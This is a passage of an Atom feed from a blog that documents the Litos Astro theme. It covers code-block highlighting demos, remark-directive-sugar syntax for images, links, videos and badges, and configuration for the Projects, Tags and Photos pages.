<h5>Marking individual text inside lines</h5>
<pre><code>// Plaintext search strings
function demo() {
  // Mark any given text inside lines
  return 'Multiple matches of the given text are supported'
}
</code></pre>
<h5>Marking individual text inside lines</h5>
<pre><code>// Regular expressions
console.log('The words yes and yep will be marked.')
</code></pre>
<pre><code># Regular expressions
echo "Test" &gt; /home/test.txt
</code></pre>
<pre><code>// Regular expressions
If you only want to mark certain parts matched by your regular expression, you can use capture groups.

For example, the expression `/ye(s|p)/` will match yes and yep, but only mark the character s or p:
</code></pre>
<pre><code>// Regular expressions
To prevent this special treatment of capture groups, you can convert them to non-capturing groups by adding ?: after the opening parenthesis. For example:

This block uses `/ye(?:s|p)/`, which causes the full
matching words "yes" and "yep" to be marked.
</code></pre>
<pre><code>// Selecting inline marker types (mark, ins, del)
function demo() {
  console.log('These are inserted and deleted marker types')
  // The return statement uses the default marker type
  return true
}
</code></pre>
<h5>Configuring word wrap per block</h5>
<pre><code>// Example with wrap
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}
</code></pre>
<pre><code>// Example with wrap=false
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}
</code></pre>
<h5>Configuring indentation of wrapped lines</h5>
<pre><code>// Example with preserveIndent (enabled by default)
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}
</code></pre>
<pre><code>// Example with preserveIndent=false
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}
</code></pre>
<h5>Collapsible sections</h5>
<pre><code>// All this boilerplate setup code will be collapsed
import { someBoilerplateEngine } from '@example/some-boilerplate'
import { evenMoreBoilerplate } from '@example/even-more-boilerplate'

const engine = someBoilerplateEngine(evenMoreBoilerplate())

// This part of the code will be visible by default
engine.doSomething(1, 2, 3, calcFn)

function calcFn() {
  // You can have multiple collapsed sections
  const a = 1
  const b = 2
  const c = a + b

  // This will remain visible
  console.log(`Calculation result: ${a} + ${b} = ${c}`)
  return c
}

// All this code until the end of the block will be collapsed again
engine.closeConnection()
engine.freeMemory()
engine.shutdown({ reason: 'End of example boilerplate code' })
</code></pre>
<h5>Displaying line numbers per block</h5>
<pre><code>// This code block will show line numbers
console.log('Greetings from line 2!')
console.log('I am on line 3')
</code></pre>
<pre><code>// Line numbers are disabled for this block
console.log('Hello?')
console.log('Sorry, do you know what line I am on?')
</code></pre>
<pre><code>// Changing the starting line number
console.log('Greetings from line 5!')
console.log('I am on line 6')
</code></pre>
<h2>Image Caption &amp; Link</h2>
<p>Use the <a href="https://github.com/lin-stephanie/remark-directive-sugar?tab=readme-ov-file#image-" rel="noopener noreferrer" target="_blank"><code>:::image</code></a> directive from <a href="https://github.com/lin-stephanie/remark-directive-sugar" rel="noopener noreferrer" target="_blank">remark-directive-sugar</a> to wrap images in a container for captions, clickable links, and more. Customize via the <code>image</code> option in <code>plugins/index.ts</code> (<code>remarkDirectiveSugar</code>) and style under <code>/* :::image */</code> in <code>src/styles/pro.css</code>.</p>
<h3>image-figure</h3>
<p><code>:::image-figure[caption]{&lt;figcaption&gt; attrs}</code>: The square brackets define the <code>&lt;figcaption&gt;</code> text (defaults to the alt text from <code>![]()</code> if omitted), while the curly braces are used for inline styles or supported attributes to the generated <code>&lt;figcaption&gt;</code> element.</p>
<p><code>![alt](image path)(&lt;img&gt; attrs)</code>: Standard Markdown image with optional attributes in parentheses, enabled by <a href="https://github.com/OliverSpeir/remark-imgattr" rel="noopener noreferrer" target="_blank">remark-imgattr</a>, for customizing the generated <code>&lt;img&gt;</code> element.</p>
<p><code>:::image-figure[caption]{&lt;figcaption&gt; attrs}</code>: The square brackets define the <code>&lt;figcaption&gt;</code> text (defaults to the alt text from <code>![]()</code> if omitted), while the curly braces are used for inline styles or supported attributes to the generated <code>&lt;figcaption&gt;</code> element.</p>
<p><code>![alt](image path)(&lt;img&gt; attrs)</code>: Standard Markdown image with optional attributes in parentheses, enabled by <a href="https://github.com/OliverSpeir/remark-imgattr" rel="noopener noreferrer" target="_blank">remark-imgattr</a>, for customizing the generated <code>&lt;img&gt;</code> element.</p>
<pre><code>:::image-figure[This Is a **Figcaption** with _`&lt;figure&gt;` Attrs_]{style="text-align:center;color:orange"}
![](assets/cover.png)
:::

:::image-figure[This is a **figcaption** with _`&lt;img&gt;` attrs_.]
![](assets/cover.png)(style: width:600px;)
:::

&lt;!-- 💡 Use `(class:no-zoom)` to disable zoom --&gt;

:::image-figure[This is a **figcaption** with `class:no-zoom`.]
![](assets/cover.png)(class:no-zoom)
:::

&lt;!-- 💡 If no `[caption]`, use `[alt]` as figcaption. --&gt;

:::image-figure
![If `[caption]` not set, the alt text from `![]()` will be used as the figcaption.](assets/cover.png)
:::

&lt;!-- 💡 Images for light (img-light) and dark (img-dark) modes --&gt;
&lt;!-- ⚠️ At least one line must separate two image syntaxes (![]()), or won't work. --&gt;

:::image-figure[This example shows different images for light (add `class:img-light`) and dark (add `class:img-dark`) modes.]
![](assets/image-16-9-light.png)(class:img-light)

![](assets/image-16-9-light.png)(class:img-dark)
:::

&lt;!-- ❌ If no text is available for the figcaption, it won't work.  --&gt;

:::image-figure
![](assets/cover.png)
:::
</code></pre>
<figure><img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="" /><figcaption>This Is a <strong>Figcaption</strong> with <em><code>&lt;figure&gt;</code> Attrs</em></figcaption></figure>
<figure><img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="" style="width:600px" /><figcaption>This is a <strong>figcaption</strong> with <em><code>&lt;img&gt;</code> attrs</em>.</figcaption></figure>
<figure><img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="" class="no-zoom" /><figcaption>This is a <strong>figcaption</strong> with <code>class:no-zoom</code>.</figcaption></figure>
<figure><img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="If [caption] not set, the alt text from ![]() will be used as the figcaption." /><figcaption>If [caption] not set, the alt text from ![]() will be used as the figcaption.</figcaption></figure>
<figure><img src="https://blog.shenlin.black/_astro/image-black.BeMdDApH_ZV1j5H.webp" alt="" class="img-light" /><figcaption>This example shows different images for light (add <code>class:img-light</code>) and dark (add <code>class:img-dark</code>) modes.</figcaption></figure>
<div><div><div></div><div>WARNING</div></div><div><p>Setting an image’s <code>width</code> attribute directly may cause blurriness. <a href="https://github.com/Sh3n1in/blog/discussions/17" rel="noopener noreferrer" target="_blank">Learn more</a></p></div></div>
<h3>image-a</h3>
<p>The custom directive wraps an image inside a link, making it clickable.</p>
<p><code>:::image-a{&lt;a&gt; attrs}</code>: Define the link (href), styles, or classes in the curly braces for <code>&lt;a&gt;</code> element.</p>
<p><code>![alt](image path)(&lt;img&gt; attrs)</code>: Same as above.</p>
<pre><code>:::image-a{href="https://github.com/Sh3n1in/blog"}
![OG image](assets/cover.png)
:::

:::image-a{href="https://github.com/Sh3n1in/blog" style="display:block" .custom-class}
![OG image](assets/cover.png)(style: margin-bottom: -1rem; transform:scaleX(1.1) scaleY(1.1);, loading: eager)
:::

::::image-a{href="https://github.com/Sh3n1in/blog"}
:::image-figure[This example shows `:::image-a` wraps around `:::image-figure` (both are interchangeable).]
![OG image](assets/cover.png)
:::
::::

&lt;!-- ❌ No external links provided, it won't work.--&gt;

:::image-a
![OG image](assets/cover.png)
:::
</code></pre>
<a href="https://github.com/Sh3n1in/blog" rel="noopener noreferrer" target="_blank"><img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="OG image" /></a>
<a href="https://github.com/Sh3n1in/blog" rel="noopener noreferrer" target="_blank"><img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="OG image" style="margin-bottom:-1rem;transform:scaleX(1.1) scaleY(1.1)" /></a>
<a href="https://github.com/Sh3n1in/blog" rel="noopener noreferrer" target="_blank"><figure><img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="OG image" style="padding-top:1rem" /><figcaption>This example shows <code>:::image-a</code> wraps around <code>:::image-figure</code> (both are interchangeable).</figcaption></figure></a>
<h3>image-figure-polaroid</h3>
<p>Polaroid style images with a border and shadow.</p>
<p>In order to ensure the style size on the phone, I have set a minimum width of 300px, and you can modify and expand the style in <code>src/styles/picture.css</code>.</p>
<pre><code>:::::image-div-polaroid
:::image-figure-polaroid[This is a **figcaption** with _`&lt;img&gt;` attrs_.]
![OG image](assets/cover.png)
:::
:::::

:::::image-div-polaroid
:::image-figure-polaroid
![OG image](assets/cover.png)

cover.png
:::
:::::

:::::image-div-polaroid
:::image-figure-polaroid
![OG image](assets/cover.png)
:::
:::::

&lt;!-- change style --&gt;

:::::image-div-polaroid
:::image-figure-polaroid{style="width:500px;"}
![OG image](assets/cover.png)
:::
:::::
</code></pre>
<p>This is a <strong>figcaption</strong> with <em><code>&lt;img&gt;</code> attrs</em>.</p><img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="OG image" />
<img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="OG image" /><p>cover.png</p>
<img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="OG image" />
<img src="https://blog.shenlin.black/_astro/cover.BKthU1GI_ykCju.webp" alt="OG image" />
<h2>GitHub Card</h2>
<p>Congratulations from <a href="https://github.com/oopsunix" rel="noopener noreferrer" target="_blank">oopsunix</a></p>
<pre><code>::github{repo="Sh3n1in/blog"}
</code></pre>
<div>
<a href="https://github.com/Sh3n1in/blog" target="_blank" rel="noopener noreferrer">
  <div>
    <div>
      <div>
        <div></div>
        <div>Sh3n1in</div>
      </div>
      <div>/</div>
      <div>blog</div>
    </div>
    <div>
      
        
      
    </div>
  </div>
  <div>Loading...</div>
  <div>
    <div>
      
        
      
      <span>0</span>
    </div>
    <div>
      
        
      
      <span>0</span>
    </div>
    <div>
      
        
      
      <span>-</span>
    </div>
  </div>
</a>

              </div>
<h2>Video Embedding</h2>
<p>Use the <a href="https://github.com/lin-stephanie/remark-directive-sugar?tab=readme-ov-file#video-" rel="noopener noreferrer" target="_blank"><code>::video</code></a> directive from <a href="https://github.com/lin-stephanie/remark-directive-sugar" rel="noopener noreferrer" target="_blank">remark-directive-sugar</a> for consistent video embedding across different platforms. Customize via the <code>video</code> option in <code>plugins/index.ts</code> and style under <code>/* ::video */</code> in <code>src/styles/pro.css</code>.</p>
<p>Say <code>example.md</code> contains:</p>
<pre><code>&lt;!-- Embed a YouTube video --&gt;

::video-youtube{#gxBkghlglTg}

&lt;!-- Embed a Bilibili video with a custom `title` attr --&gt;

::video-bilibili[custom title]{id=BV1MC4y1c7Kv}

&lt;!-- Embed a Vimeo video with class `no-scale` to disable scaling --&gt;

::video-vimeo{id=912831806 class='no-scale'}

&lt;!-- ::video-vimeo{id=912831806 .no-scale} --&gt;

&lt;!-- Embed a custom video URL (must use `id`, not `#`) --&gt;

::video{id=https://www.youtube-nocookie.com/embed/gxBkghlglTg}
</code></pre>
<p>Then <code>example.mdx</code> renders as:</p>




<h2>Styled Link（<code>:link</code>）</h2>
<p>Use the <a href="https://github.com/lin-stephanie/remark-directive-sugar?tab=readme-ov-file#link" rel="noopener noreferrer" target="_blank"><code>:link</code></a> directive from <a href="https://github.com/lin-stephanie/remark-directive-sugar" rel="noopener noreferrer" target="_blank">remark-directive-sugar</a> to add links with avatars or favicons for GitHub, npm, or custom URLs. Customize via the <code>link</code> option in <code>plugins/index.ts</code> and style under <code>/* :link */</code> in <code>src/styles/pro.css</code>.</p>
<p><strong>Link to a GitHub user or organization (prepend <code>id</code> with <code>@</code>)</strong></p>
<p><strong>Example 1</strong>: <code>:link[神林]{#@Sh3n1in}</code> links to the GitHub profile of the project maintainer, <a href="https://github.com/Sh3n1in" rel="noopener noreferrer" target="_blank">神林</a>.</p>
<p><strong>Example 2</strong>: <code><a href="@vitejs">Vite</a></code> links to the GitHub profile of the <a href="https://github.com/vitejs" rel="noopener noreferrer" target="_blank">Vite</a> organization.</p>
<p><strong>Example 3</strong>: <code>:link{#@Sh3n1in tab=repositories}</code> links directly to the repositories tab of the GitHub user, like <a href="https://github.com/Sh3n1in?tab=repositories" rel="noopener noreferrer" target="_blank">Sh3n1in</a>. For GitHub users, valid <code>tab</code> options: <code>'repositories','projects', 'packages', 'stars', 'sponsoring', 'sponsors'</code>.</p>
<p><strong>Example 4</strong>: <code>:link{#@vitejs tab=org-people}</code> links directly to the people section of a GitHub organization, like <a href="https://github.com/orgs/vitejs/people" rel="noopener noreferrer" target="_blank">vitejs</a>. For GitHub organizations, valid <code>tab</code> options: <code>'org-repositories', 'org-projects', 'org-packages', 'org-sponsoring', and 'org-people'</code>.</p>
<p><strong>Link to a GitHub repository</strong></p>
<p><strong>Example 5</strong>: <code>:link[Astro]{#withastro/astro}</code> or <code><a href="withastro/astro">Astro</a></code> creates a link to <a href="https://github.com/withastro/astro" rel="noopener noreferrer" target="_blank">Astro</a> repo.</p>
<p><strong>Link to an npm package</strong></p>
<p><strong>Example 6</strong>: <code>:link{#remark-directive-sugar}</code> links to the npm homepage of the <a href="https://www.npmjs.com/package/remark-directive-sugar" rel="noopener noreferrer" target="_blank">remark-directive-sugar</a>.</p>
<p><strong>Example 7</strong>: <code>:link{id=remark-directive-sugar tab=dependencies}</code> links to the dependencies section of the <a href="https://www.npmjs.com/package/remark-directive-sugar?activeTab=dependencies" rel="noopener noreferrer" target="_blank">remark-directive-sugar</a> on npm. For npm package, valid <code>tab</code> options: <code>'readme', 'code', 'dependencies', 'dependents', and 'versions'</code>.</p>
<p><strong>Link to a custom URL (must use <code>id</code>, not <code>#</code>)</strong></p>
<p><strong>Example 8</strong>: <code>:link{id=https://developer.mozilla.org/en-US/docs/Web/JavaScript}</code> creates an external link to the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript" rel="noopener noreferrer" target="_blank">developer.mozilla.org/en-US/docs/Web...</a>.</p>
<p><strong>Example 9</strong>: <code><a href="https://www.google.com/">Google</a></code> creates an external link to the <a href="https://www.google.com/" rel="noopener noreferrer" target="_blank">Google</a>.</p>
<p><strong>Customization</strong></p>
<p><strong>Example 10</strong>: <code><a href="@vitejs url=https://vite.dev/">Vite</a></code> creates a <a href="https://vite.dev/" rel="noopener noreferrer" target="_blank">Vite</a> to <code>https://vite.dev/</code> instead of <code>https://github.com/vitejs</code> by using the <code>url</code>.</p>
<p><strong>Example 11</strong>: <code><a href="@vitejs img=https://vitejs.dev/logo.svg">Vite</a></code> creates a <a href="https://github.com/vitejs" rel="noopener noreferrer" target="_blank">Vite</a> that displays a custom logo by using the <code>img</code>.</p>
<p><strong>Example 12</strong>: <code>:link{id=Sh3n1in/blog class=github}</code> creates a <a href="https://github.com/Sh3n1in/blog" rel="noopener noreferrer" target="_blank">Sh3n1in/blog</a> with <code>class=github</code> (or <code>.github</code>) to override the default style of a GitHub repository.</p>
<p><strong>Example 13</strong>: <code><a href="https://github.com/Sh3n1in/blog img=https://github.githubassets.com/assets/mona-e50f14d05e4b.png">Litos Themes</a></code> fully customizes a link. <a href="https://github.com/Sh3n1in/blog" rel="noopener noreferrer" target="_blank">Litos Themes</a></p>
<h2>Badges</h2>
<p>Use the <a href="https://github.com/lin-stephanie/remark-directive-sugar?tab=readme-ov-file#badge-" rel="noopener noreferrer" target="_blank"><code>:badge</code></a> directive from <a href="https://github.com/lin-stephanie/remark-directive-sugar" rel="noopener noreferrer" target="_blank">remark-directive-sugar</a> to display small pieces of information, such as status or category.</p>
<p>The theme provides the following one predefined badges. You can customize them via the <code>badge</code> option in <code>plugins/index.ts</code> and style them under <code>/* :badge */</code> in <code>src/styles/pro.css</code>.</p>
<ul>
<li><code>badge-n</code>: <span>NEW</span></li>
</ul>
<p>Additionally, you can direct use <code>:badge[text]{attrs}</code> for easy visual customization of badges. For example: <code>:badge[ISSUE]{style="background-color: #bef264"}</code> will display as <span>ISSUE</span>. If no color is specified, the default appearance will look like <span>This</span>.</p>
<h2>Details Dropdown</h2>
<pre><code>:::details
::summary[Details Dropdown]

- List item 1
- List item 2
- List item 3
- List item 4
  :::
</code></pre>
Details Dropdown<ul>
<li>List item 1</li>
<li>List item 2</li>
<li>List item 3</li>
<li>List item 4</li>
</ul>
<p>Additionally, it also supports usage similar to the <a href="https://github.com/remarkjs/remark-directive?tab=readme-ov-file#use" rel="noopener noreferrer" target="_blank">examples in remark-directive</a>.</p>]]></content>
    <category term="Litos" />
    <category term="Documentation" />
  </entry>
  <entry>
    <title>Project And Tag Page Config</title>
    <link href="https://blog.shenlin.black//posts/project-tag" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/project-tag</id>
    <updated>2025-08-11T00:00:00.000Z</updated>
    <published>2025-08-11T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">Configure Projects and Tags pages: page texts (PROJECTS_CONFIG, TAGS_CONFIG), project content frontmatter, file locations, and usage examples.</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.Cz2psVoH_Z1OReC1.webp" alt="Project And Tag Page Config" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>Due to the small size of the Project and tag page configurations, they are merged into one document.</p>
<p>The following files are compatible with this document:</p>
<ul>
<li><code>src/pages/projects/index.astro</code> - project page.</li>
<li><code>src/pages/tags/index.astro</code> - tag statistics page.</li>
<li><code>src/pages/tags/[tag]/[...page].astro</code> - specific tag display post list page.</li>
<li><code>src/config.ts</code> - project and tag page config.</li>
<li><code>src/components/base</code> - most of the components come from here.</li>
</ul>
<h3>Project Page Config</h3>
<p>Configure page texts:</p>
<pre><code>export const PROJECTS_CONFIG: ProjectConfig = {
  title: 'Projects',
  description: 'The examples of my projects.',
  introduce: 'The examples of my projects.',
}
</code></pre>





















<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>title</td><td>Title displayed on browser tags and title displayed on page.</td></tr><tr><td>description</td><td>The metadata description in the <code>head</code> element of the page.</td></tr><tr><td>introduce</td><td>The introduce below the title on the page.</td></tr></tbody></table>
<h3>Project content</h3>
<p>The content displayed on the project page comes from <code>/src/content/projects</code>.</p>
<p>Its writing style is similar to posts: one MDX file represents one project.</p>
<h4>Project frontmatter</h4>
<p>Example (<code>src/content/projects/Litos/index.mdx</code>):</p>
<pre><code>---
name: 'Litos'
description: 'A Simple &amp; Modern Blog Theme for Astro.'
githubUrl: 'https://github.com/Sh3n1in/blog'
website: 'https://blog.shenlin.black/'
type: 'image'
icon: '../../../../public/projects/litos.png'
imageClass: 'w-10 h-10'
star: 32
fork: 7
---
</code></pre>













































<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>name</td><td>Project name.</td></tr><tr><td>description</td><td>Short description shown with the project card.</td></tr><tr><td>githubUrl</td><td>GitHub repository URL of the project.</td></tr><tr><td>website</td><td>Project website or demo URL.</td></tr><tr><td>type</td><td>Display type for the project card. For now, <code>'image'</code> shows a thumbnail.</td></tr><tr><td>icon</td><td>Icon path for the project (supports paths under <code>public/</code>).</td></tr><tr><td>imageClass</td><td>Extra classes for sizing the image (e.g., Tailwind classes).</td></tr><tr><td>star</td><td>Stars count (optional).</td></tr><tr><td>fork</td><td>Forks count (optional).</td></tr></tbody></table>
<h3>Tag Page Config</h3>
<pre><code>export const TAGS_CONFIG: TagsConfig = {
  title: 'Tags',
  description: 'All tags of Posts',
  introduce: 'All the tags for posts are here, you can click to filter them.',
}
</code></pre>





















<table><thead><tr><th>Property</th><th>Description</th></tr></thead><tbody><tr><td>title</td><td>Title displayed on browser tags and title displayed on the tag statistics page.</td></tr><tr><td>description</td><td>The metadata description in the <code>head</code> element of the tag statistics page.</td></tr><tr><td>introduce</td><td>The introduce below the title on the tag statistics page.</td></tr></tbody></table>]]></content>
    <category term="Litos" />
    <category term="Documentation" />
  </entry>
  <entry>
    <title>Photos Page Config</title>
    <link href="https://blog.shenlin.black//posts/photos" rel="alternate" type="text/html"/>
    <id>https://blog.shenlin.black//posts/photos</id>
    <updated>2025-08-10T00:00:00.000Z</updated>
    <published>2025-08-10T00:00:00.000Z</published>
    <author>
      <name>神林</name>
    </author>
    <summary type="text">Current implementation notes for the Photos page, including PHOTOS_CONFIG, PhotosList, and getPhotos().</summary>
    <content type="html"><![CDATA[<img src="https://blog.shenlin.black/_astro/cover.Do3E5r53_Z1UoMh2.webp" alt="Photos Page Config" style="width: 100%; height: auto; margin-bottom: 1em;" />
<p>This document describes the current implementation of the Photos page.</p>
<h2>Current file structure</h2>
<ul>
<li><code>src/pages/photos/index.astro</code>
<ul>
<li>Reads page text from <code>PHOTOS_CONFIG</code></li>
<li>Reads timeline data from <code>PhotosList</code></li>
</ul>
</li>
<li><code>src/config.ts</code>
<ul>
<li>Stores <code>PHOTOS_CONFIG</code></li>
</ul>
</li>
<li><code>src/lib/photos.ts</code>
<ul>
<li>Stores <code>PhotosList</code></li>
<li>Auto-imports photo files</li>
<li>Converts one folder of images into <code>Photo[]</code> with <code>getPhotos()</code></li>
</ul>
</li>
<li><code>src/types.ts</code>
<ul>
<li>Defines <code>PhotoData</code>, <code>Photo</code>, and <code>PolaroidVariant</code></li>
</ul>
</li>
<li><code>src/components/photos/PolaroidCard.tsx</code>
<ul>
<li>Maps each <code>variant</code> to the actual card size</li>
</ul>
</li>
</ul>
<h2>Page text</h2>
<p>The page title and intro text come from <code>src/config.ts</code>.</p>
<pre><code>export const PHOTOS_CONFIG: PhotosConfig = {
  title: 'Photos',
  description: 'Here I will record some photos taken in daily life.',
  introduce: 'Here I will record some photos taken in daily life.',
}
</code></pre>
<p><code>src/pages/photos/index.astro</code> renders the page like this:</p>
<pre><code>---
import { PHOTOS_CONFIG } from '~/config'
import { PhotosList } from '~/lib/photos'

const { title, description, introduce } = PHOTOS_CONFIG
---

&lt;Layout {title} {description}&gt;
  &lt;PageTitle {title} {introduce} /&gt;
  &lt;PhotoTimeline photoData={PhotosList} /&gt;
&lt;/Layout&gt;
</code></pre>
<h2>PhotosList</h2>
<p><code>PhotosList</code> is defined in <code>src/lib/photos.ts</code>. Each item is one timeline entry.</p>
<pre><code>export const PhotosList: PhotoData[] = [
  {
    title: 'Ningbo - Botanical Garden',
    icon: { type: 'emoji', value: '🌼' },
    description: 'It was early spring, so I went to see the cherry blossoms.',
    date: '2026-03-07',
    travel: '',
    photos: getPhotos(
      '2026-03-07-botanicalGarden',
      'Early spring cherry blossoms at the botanical garden',
      ['3x4', '3x4', '3x4', '3x4', '3x4', '3x4']
    ),
  },
]
</code></pre>
<h3>PhotoData fields</h3>

































<table><thead><tr><th>Field</th><th>Meaning</th></tr></thead><tbody><tr><td><code>title</code></td><td>Timeline title</td></tr><tr><td><code>icon</code></td><td>Left-side timeline icon</td></tr><tr><td><code>description</code></td><td>Optional timeline description</td></tr><tr><td><code>date</code></td><td>Timeline date</td></tr><tr><td><code>travel</code></td><td>Optional extra label</td></tr><tr><td><code>photos</code></td><td>Array of <code>Photo</code> objects</td></tr></tbody></table>
<h2>How <code>getPhotos()</code> works</h2>
<p>Current implementation:</p>
<pre><code>function getPhotos(dir: string, alt: string, variants: PolaroidVariant[]): Photo[] {
  return Object.entries(photoModules)
    .filter(([path]) =&gt; path.includes(`/${dir}/`))
    .sort(([a], [b]) =&gt; a.localeCompare(b))
    .map(([, mod], index) =&gt; {
      const img = mod.default
      return {
        src: img,
        alt,
        width: img.width,
        height: img.height,
        variant: variants[index] || '4x3',
      }
    })
}
</code></pre>
<h3>Parameter meaning</h3>





















<table><thead><tr><th>Parameter</th><th>Meaning</th></tr></thead><tbody><tr><td><code>dir</code></td><td>Folder name under <code>src/assets/photos</code></td></tr><tr><td><code>alt</code></td><td>Shared <code>alt</code> text for every image returned from that folder</td></tr><tr><td><code>variants</code></td><td>Ratio list matched to the sorted images by index</td></tr></tbody></table>
<h3>Important behavior</h3>
<ol>
<li><code>getPhotos()</code> first filters all imported images by folder name.</li>
<li>It then sorts the matched file paths with <code>localeCompare</code>.</li>
<li>It creates the final <code>Photo[]</code> in that sorted order.</li>
<li><code>variants[index]</code> is applied to the photo at the same index.</li>
<li>If one index is missing in <code>variants</code>, that photo falls back to <code>'4x3'</code>.</li>
</ol>
<h3>How the third parameter is matched</h3>
<p>The third parameter is not random metadata. It is position-based.</p>
<p>For this code:</p>
<pre><code>photos: getPhotos(
  '2026-03-07-botanicalGarden',
  'Early spring cherry blossoms at the botanical garden',
  ['3x4', '3x4', '3x4', '3x4', '3x4', '3x4']
)
</code></pre>
<p>Assume the folder <code>src/assets/photos/2026-03-07-botanicalGarden/</code> contains these files after sorting:</p>
<pre><code>01.webp
02.webp
03.webp
04.webp
05.webp
06.webp
</code></pre>
<p>Then the mapping is:</p>

































<table><thead><tr><th>File</th><th>Applied variant</th></tr></thead><tbody><tr><td><code>01.webp</code></td><td>first item in the array -&gt; <code>3x4</code></td></tr><tr><td><code>02.webp</code></td><td>second item in the array -&gt; <code>3x4</code></td></tr><tr><td><code>03.webp</code></td><td>third item in the array -&gt; <code>3x4</code></td></tr><tr><td><code>04.webp</code></td><td>fourth item in the array -&gt; <code>3x4</code></td></tr><tr><td><code>05.webp</code></td><td>fifth item in the array -&gt; <code>3x4</code></td></tr><tr><td><code>06.webp</code></td><td>sixth item in the array -&gt; <code>3x4</code></td></tr></tbody></table>
<p>So if you want the first photo in the folder to use <code>3x4</code>, the first item in the third array must be <code>3x4</code>.</p>
<p>If you want mixed ratios, write them in the same order as the sorted files:</p>
<pre><code>photos: getPhotos('2025-03-01-dongqianhu', 'Ningbo - Dongqian Lake', ['4x5', '1x1', '4x3'])
</code></pre>
<p>That means:</p>
<ul>
<li>first sorted image -&gt; <code>4x5</code></li>
<li>second sorted image -&gt; <code>1x1</code></li>
<li>third sorted image -&gt; <code>4x3</code></li>
</ul>
<p>If the folder contains more photos than the array length:</p>
<pre><code>photos: getPhotos('example-folder', 'Example alt', ['3x4', '4x5'])
</code></pre>
<p>Then:</p>
<ul>
<li>first sorted image -&gt; <code>3x4</code></li>
<li>second sorted image -&gt; <code>4x5</code></li>
<li>third sorted image and later -&gt; default <code>4x3</code></li>
</ul>
<h2>Supported variants</h2>
<p><code>PolaroidVariant</code> is currently:</p>
<pre><code>export type PolaroidVariant = '1x1' | '4x5' | '4x3' | '3x4' | '9x16'
</code></pre>
<p>Current size mapping in <code>src/components/photos/PolaroidCard.tsx</code>:</p>
<pre><code>const polaroidVariants: Record&lt;PolaroidVariant, string&gt; = {
  '1x1': 'w-20 h-20',
  '4x5': 'w-20 h-24',
  '4x3': 'w-20 h-16',
  '3x4': 'w-[4.5rem] h-24',
  '9x16': 'w-20 h-32',
}
</code></pre>
<h2>How to add a new timeline entry</h2>
<ol>
<li>Create a folder under <code>src/assets/photos/</code>, for example <code>2026-04-01-spring-walk</code>.</li>
<li>Put image files into that folder.</li>
<li>Make sure the file names are in the order you want after sorting.</li>
<li>Add one item to <code>PhotosList</code> in <code>src/lib/photos.ts</code>.</li>
<li>Pass the third argument to <code>getPhotos()</code> in the same order as the sorted files.</li>
</ol>
<p>Example:</p>
<pre><code>{
  title: 'Spring Walk',
  icon: { type: 'emoji', value: '🌿' },
  description: 'A short walk with a camera.',
  date: '2026-04-01',
  travel: '',
  photos: getPhotos(
    '2026-04-01-spring-walk',
    'Photos from a spring walk',
    ['3x4', '4x3', '4x5', '4x3']
  ),
}
</code></pre>
<h2>Notes</h2>
<ul>
<li><code>alt</code> is applied to every photo returned from the same folder.</li>
<li>The order is determined by sorted file path, not by import order in the editor.</li>
<li>If you rename files, the sort order may change, and the <code>variants</code> array will then map to different photos.</li>
</ul>]]></content>
    <category term="Litos" />
    <category term="Documentation" />
  </entry>
</feed>